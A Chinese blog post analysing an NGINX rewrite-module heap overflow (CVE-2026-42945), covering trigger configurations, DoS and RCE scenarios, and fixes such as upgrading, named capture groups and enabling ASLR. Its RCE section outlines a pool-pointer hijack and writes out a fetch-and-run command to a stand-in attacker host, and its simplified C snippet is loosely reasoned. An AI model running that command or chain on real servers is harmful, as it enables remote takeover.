潜伏18年的‘定时炸弹’:NGINX高危漏洞CVE-2026-42945深度剖析与紧急应对指南

2026-05-15· 浏览 1

概述

本文深度剖析了近期发现的NGINX高危漏洞CVE-2026-42945(NGINX Rift)。该漏洞潜伏18年,源于`rewrite`模块中一个未重置的内部标志位`is_args`,在特定配置组合下可导致堆缓冲区溢出。攻击者可利用此漏洞发起拒绝服务(DoS)攻击,使服务宕机;在目标系统禁用ASLR的情况下,甚至可构建利用链实现远程代码执行(RCE)。文章详细分析了漏洞的技术原理、触发条件、两种攻击场景(DoS与RCE)以及全球性的严重影响范围(约占网站三分之一),并给出了从紧急缓解(修改配置使用命名捕获组)到彻底修复(升级至安全版本)的全套解决方案与持续监控建议。

你的NGINX还在裸奔吗?一个潜伏18年的高危漏洞刚被挖出来

周五晚上11点,你刚准备关掉电脑,手机“叮”一声,Slack警报炸了:“生产环境NGINX worker进程异常重启,502错误飙升。” 你心里一沉,赶紧连VPN。登上跳板机,tail -f /var/log/nginx/error.log,满屏的 signal 11 (SIGSEGV)signal 6 (SIGABRT)。重启服务?能撑几分钟。查配置?看起来和上周没区别。那一刻的无力感,干运维和后端的兄弟都懂。

如果你还在用NGINX,特别是用了它的rewrite功能做些路由跳转、URL美化,那你很可能就坐在这个“定时炸弹”上。今天我们要聊的 CVE-2026-42945,不是那种理论上的漏洞,而是个已经在互联网底层爬了18年,评分高达9.2,能让攻击者让你的服务器“宕机”甚至“提权”的真实威胁。它被命名为“NGINX Rift”,由安全公司DepthFirst AI通过自动化扫描发现,影响了全球约三分之一的网站。

别慌,这篇文章不搞虚的。我会带你钻进漏洞的内核,看懂它的原理,手把手教你如何定位自己系统里的风险,并给出从紧急缓解到彻底修复的全套方案。我们开始。

一、漏洞技术原理:标志位“失忆”引发的内存惨案

我们先搞清楚这漏洞到底出在NGINX的哪个“器官”。答案是 ngx_http_rewrite_module,就是那个你天天在nginx.conf里用的rewrite指令背后的引擎。

1. 根源:一个被遗忘的“标志位”

要理解这个漏洞,你得知道NGINX的脚本引擎在处理rewriteset指令时,不是一次干完的,而是两遍处理

  • 第一遍(计算阶段):引擎会先扫一遍你的配置,计算每个变量需要多大的内存。比如,你要把URL里的一个捕获组$1赋值给变量$new_var,引擎得先知道$1最长可能是多少字节,然后分配好内存。
  • 第二遍(执行阶段):引擎再扫一遍,这时候它会把实际的数据(比如HTTP请求里的URL部分)拷贝到第一遍分配好的内存里。

问题就出在这两遍之间的一个内部状态标志位:is_args。在源代码里,这个标志位用来表示当前是否在处理args(即查询字符串,?后面的那部分)。根据安全公告,在某个特定路径下,is_args在第一遍的计算中被错误地设置成了1(true),并且在进入第二遍执行前没有被正确重置回0(false)

2. “失忆”的后果:内存分配小于实际写入

这个标志位的“失忆”,直接导致了灾难性的后果。我们来看个简化的代码逻辑(基于公开的分析):

c 复制代码
// 简化自 ngx_http_script_regex_replace 等函数

// 第一遍:计算长度
if (is_args) { // 如果is_args为1,引擎会认为当前在处理args
    // 可能会应用一些针对args的转义计算,比如对“?”等字符的编码
    length += escaped_uri_length; 
} else {
    length += uri_length; // 正常计算URI长度
}
// ... 基于此长度分配内存 buffer

// 第二遍:实际拷贝数据
// 此时 is_args 仍然是错误的1
if (is_args) {
    // 再次应用args转义规则进行拷贝
    ngx_memcpy(buffer, escaped_uri_data, uri_length); // 关键问题!
} else {
    ngx_memcpy(buffer, uri_data, uri_length);
}

看到了吗?第一遍因为is_args=1,可能计算出了一个较小escaped_uri_length(因为转义后字符串可能变长,但逻辑错乱可能导致计算值变小或逻辑错误)。第二遍is_args依然是1,所以它按照“处理args”的逻辑去拷贝实际的uri_length数据。结果就是,实际要拷贝的数据量,大于第一遍分配的内存空间。经典的堆缓冲区溢出诞生了。

3. 触发条件:一个有点“刁钻”的配置组合

你可能会想,这触发条件是不是特别苛刻?对于RCE来说,是的;但对于DoS来说,没那么难。根据官方和多方分析,触发条件需要满足:

  1. rewrite指令
  2. rewrite指令之后,紧跟着使用了未命名的PCRE捕获组set指令。
  3. set指令的替换字符串中,包含问号?

看个具体的、危险的配置例子。假设你在做URL重写:

nginx 复制代码
location ~ ^/product/(\d+)/details {
    # 第一步:重写,使用未命名的捕获组 $1
    rewrite ^/product/(\d+)/details$ /p/$1/info;

    # 第二步:试图从重写后的URI中提取一个变量
    # 注意这里使用了未命名的捕获组 $1,并且字符串中有 "?"
    set $product_id $1;
    set $info_url "/api/get-info?$product_id"; # 看这里!问号 + 捕获组

    # ... 后续 proxy_pass 或其他逻辑
}

这个配置在语义上是混乱的,但在实际运维中,因为各种历史原因和复制粘贴,类似结构并不罕见。尤其是处理旧URL格式向新API迁移时,或者在一些PHP应用的try_files和重写规则里。

踩坑点预警
这个漏洞最阴险的地方在于,触发它的配置可能在语法上是完全正确的,NGINX可以正常启动并工作。漏洞只在特定的HTTP请求到来时,由脚本引擎的特定执行路径触发。你无法通过nginx -t语法检查发现它。

二、攻击面分析:从服务拒绝到远程代码执行

这个漏洞的CVSS 4.0评分是9.2 (AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)。翻译成人话就是:网络攻击、高复杂度、无需特殊条件、无需认证、无需用户交互、对机密性/完整性/可用性影响均为高。我们拆解两种攻击场景。

1. 基础攻击:服务拒绝(DoS)

这是最直接、最容易实现的攻击。攻击者只需要找到你网站上任何一个触发了上述漏洞配置的URL路径,然后发送一个精心构造的请求。例如,对于上面的配置,攻击者可能发送:

bash 复制代码
curl -I "http://your-site.com/product/123/details"

这个请求可能会让rewrite模块处理异常,导致堆溢出。在现代操作系统和NGINX的防护下,最可能的结果是工作进程(worker process)收到SIGSEGVSIGABRT信号而崩溃。NGINX的主进程会重新拉起一个worker,但如果攻击者持续发送恶意请求,你的worker就会不断崩溃重启,导致服务响应缓慢甚至完全不可用,形成DoS攻击

对于业务来说,这已经足够造成事故。想象一下,在秒杀活动或API调用高峰时,服务突然抖动甚至不可用。

2. 高级攻击:远程代码执行(RCE)的利用链

这才是CVSS 9.2分的恐怖之处。从DoS升级到RCE,需要满足一个关键前提:目标服务器的操作系统禁用了地址空间布局随机化(ASLR)。ASLR是一种安全机制,它会随机化内存中关键数据结构(如堆、栈、库函数)的地址,让攻击者难以预测内存布局。如果ASLR被关闭,攻击者就有了可预测的内存地图。

在ASLR禁用的条件下,攻击者可以执行一个复杂的利用链:

  1. 触发溢出:同DoS,但目的是精确控制溢出的数据。
  2. 堆喷(Heap Spraying)与布局控制:通过发送大量带有特定内容的请求(如POST请求体),在堆上喷洒出大量包含伪造数据的内存块,试图将溢出的数据“对齐”到预期的位置。
  3. 破坏内存池(ngx_pool):NGINX使用自己的内存池(ngx_pool_t)来管理内存分配。堆溢出的数据可以被精心设计,用来覆盖相邻内存块的ngx_pool_t结构体头部。
  4. 劫持清理函数指针ngx_pool_t结构体中有一个cleanup函数指针。当内存池被销毁时,NGINX会调用这个指针指向的函数。攻击者通过溢出覆写这个指针,使其指向一个自己控制的内存地址。
  5. 触发函数指针调用与代码执行:利用NGINX后续处理请求(如关闭连接、错误处理)的时机,触发ngx_pool_cleanup_run函数,该函数会执行被覆写的指针。如果攻击者之前通过堆喷,在指针指向的地址上伪造了system()函数的调用参数(例如,将命令字符串放在POST请求体中),那么最终就可能执行 system("curl http://attacker.com/shell.sh | bash") 这样的系统命令。

从公开的技术分析中,可以看到攻击者可能会利用POST请求体作为数据注入的载体,进行堆布局的操纵。

踩坑点预警

  1. 不要掉以轻心:EPSS(漏洞被利用概率预测)低于1%?这是因为利用链复杂且需要ASLR禁用。但你的服务器真的开了ASLR吗?可以快速检查:cat /proc/sys/kernel/randomize_va_space,返回2表示完全随机化(最安全),1表示部分随机化,0表示禁用。很多老系统或容器镜像为了性能或兼容性,可能会配置为01
  2. 生产环境中的高危配置:除了我上面举的例子,以下场景需要重点审计:
    • PHP应用的入口重写try_files $uri $uri/ /index.php?$args;
    • API网关的路由规则rewrite ^/api/v1/users/(.*)?$ /api/v2/users/$1? permanent; 这里就有?
    • 复杂的URL重定向与参数透传:任何将旧路径参数重组到新路径并添加?的规则。

三、影响范围评估:你的系统在风险区吗?

这个漏洞不是小打小闹,它影响的是互联网的基石。

1. 受影响的NGINX版本

范围极广,几乎覆盖了过去18年发布的所有版本:

  • 开源版:从 0.6.27(2008年发布)到 1.30.0(漏洞修复前的最新版)。
  • NGINX Plus:从 R32R36
  • 以及基于这些版本构建的各种衍生商业产品软件包

如果你的NGINX是很久以前通过包管理器(如apt, yum)安装的,或者用的是Docker Hub上的nginx:latest镜像,那么很可能就落在这个范围内。

2. 影响哪些基础设施?

  • 全球约三分之一的网站服务器:这个数字不是夸张。
  • 云原生与微服务:在Kubernetes集群中,NGINX Ingress Controller是标配流量入口。这个漏洞直接威胁到整个集群的入口安全。
  • API网关:大量使用NGINX作为API网关的公司,其对外的API服务都面临风险。
  • 负载均衡器:云服务商(如AWS, Azure, GCP)以及自建的基于NGINX的负载均衡器。

3. 为什么是“极端危险”?

  • 无需认证:攻击者只需能访问到你的Web服务即可。
  • 潜伏时间长:18年,这意味着无数古老的、无人维护的“遗留系统”中也存在。
  • 影响核心基础设施:一旦被利用,可能导致大面积服务中断。

四、解决方案与缓解措施:现在该做什么?

行动清单如下,按优先级排序。

1. 立即升级(唯一根治方案)

这是最有效、最彻底的方法。查看NGINX官方公告,下载并安装最新的安全版本。对于不同发行版,操作示例如下:

bash 复制代码
# Ubuntu/Debian
sudo apt update
sudo apt install --only-upgrade nginx

# CentOS/RHEL (可能需要启用官方仓库)
sudo yum update nginx

# 如果你使用Docker,更新基础镜像并重新构建
docker pull nginx:stable  # 或具体安全版本号,如 1.28.1
# 然后更新你的 docker-compose.yml 或 Dockerfile,重新部署

升级后,务必执行 nginx -V 确认版本,并 nginx -t 检查配置是否兼容。重启服务。

2. 临时缓解措施(无法立即升级时使用)

如果你的应用环境复杂,无法立即重启NGINX,可以通过修改配置来规避风险。方法就是:rewrite指令中使用的未命名PCRE捕获组,全部改为命名捕获组

修改前(危险配置)

nginx 复制代码
rewrite ^/old-path/(\w+)-(\d+)$ /new-path/$1/$2? permanent;

修改后(安全配置)

nginx 复制代码
# 使用 ?P<name> 语法命名捕获组
rewrite ^/old-path/(?P<category>\w+)-(?P<id>\d+)$ /new-path/$category/$id? permanent;

你需要全面审计你的nginx.conf及所有include的子配置文件,搜索 rewriteset 指令组合中,包含 $1, $2 ... $9 且替换字符串带 ? 的模式。这需要耐心。

踩坑点预警

  • 命名捕获组语法:请使用PCRE的标准语法 (?P<name>pattern),而不是(?<name>pattern)(虽然很多引擎支持后者,但前者更规范)。
  • 正则表达式优化:修改时,顺便检查下你的正则表达式是否高效,避免灾难性回溯。
  • 测试测试测试:修改配置后,使用 nginx -t 检查语法,并在测试环境中用各种请求(正常请求、边界测试请求)充分验证功能是否正常。

3. 系统层防御:开启ASLR

确保你的操作系统启用了ASLR,这能极大地增加RCE利用的难度。

bash 复制代码
# 查看当前状态
cat /proc/sys/kernel/randomize_va_space
# 输出应为 2

# 如果是0或1,临时设置为2(重启后可能失效)
sudo sysctl -w kernel.randomize_va_space=2

# 永久设置,写入配置文件
echo "kernel.randomize_va_space = 2" | sudo tee -a /etc/sysctl.conf
sudo sysctl -p

对于容器环境,确保你的基础镜像和宿主机都开启了ASLR。Kubernetes节点上务必设置。

4. 持续监控与扫描

  • 配置审计工具:将NGINX配置文件的审计纳入CI/CD流程,或定期使用nginx -T导出完整配置进行静态扫描。
  • 漏洞扫描工具:使用Nessus、OpenVAS、Qualys等漏洞扫描器定期对面向互联网的资产进行扫描。此次漏洞也提醒我们,自动化代码和配置审计至关重要。DepthFirst AI通过6小时的扫描就发现了这个18年的漏洞,传统人工审计很难做到。
  • 运行时监控:监控NGINX的worker进程异常重启(通过日志或进程管理工具),这是漏洞被利用的明确信号。

最后,提醒一下,安全是一个持续的过程。这个漏洞的发现,再次证明了“默认配置”和“古老代码”的风险。花点时间,今天就去检查一下你的NGINX配置吧。别让18年前的一行代码,毁了你今天晚上的安稳觉。

常见问题

这个漏洞(CVE-2026-42945)如何触发?

主要需要满足两个条件:1. NGINX配置中存在rewrite指令;2. 该指令后紧跟着使用未命名PCRE捕获组(如$1)的set指令,且替换字符串中包含问号?。该组合会导致脚本引擎内部标志位错误,引发内存溢出。

如何快速检查我的NGINX系统是否受影响?

首先,使用nginx -V检查版本是否在受影响范围内(0.6.27至1.30.0等)。其次,也是最重要的,全面审计nginx.conf及相关配置文件,搜索是否存在满足上述触发条件的rewriteset指令组合。配置语法正确但存在风险配置时,漏洞可能仅在特定请求下触发。

如果暂时无法升级,有哪些临时缓解措施?

主要缓解措施是修改触发漏洞的配置:将所有rewrite指令中使用的未命名PCRE捕获组(1, 2...)改为命名捕获组(例如使用(?P<name>pattern)语法)。同时,确保操作系统已启用地址空间布局随机化(ASLR),这将极大增加远程代码执行的难度。

引用声明

本文由墨脉 · InkCurrent 发布,引用或转载请注明来源与原文链接。

//blog/cmp6b8h5w001576he8l1r71kt

来源引用

  1. 18-year-old NGINX vulnerability allows DoS, potential RCE
  2. CVE-2026-42945 - Vulnerability Details - OpenCVE
  3. 18-Year-Old NGINX Rewrite Module Flaw Enables Unauthenticated RCE
  4. F5 Nginx Remote Code Execution Vulnerability (CVE-2026-42945) – Qualys ThreatPROTECT
  5. 潜伏18年!NGINX CVE-2026-42945 9.2分高危漏洞深度解析:从原理到RCE完整利用链
  6. NGINX 曝 9.2 分高危漏洞:潜伏 18 年,威胁全球约 1/3 服务器
  7. NGINX 曝严重远程代码执行漏洞,潜伏代码库 18 年,全球数亿服务器面临风险 - 糖茶砌站
  8. NGINX曝潜伏18年高危漏洞,影响全球约三分之一服务器- DoNews快讯
  9. 全球互联网关键基础设施NGINX出现高危漏洞
  10. NGINX藏了18年的漏洞被AI挖出来了
  11. NGINX藏了18年的漏洞:三分之一网站的定时炸弹
  12. NGINX曝2008年埋下的高危漏洞:一行代码的错位
  13. NVD - CVE-2026-42945
  14. NGINX堆缓冲区溢出漏洞(CVE-2026-42945)安全风险通告_帮助与支持_鸿茂传媒官网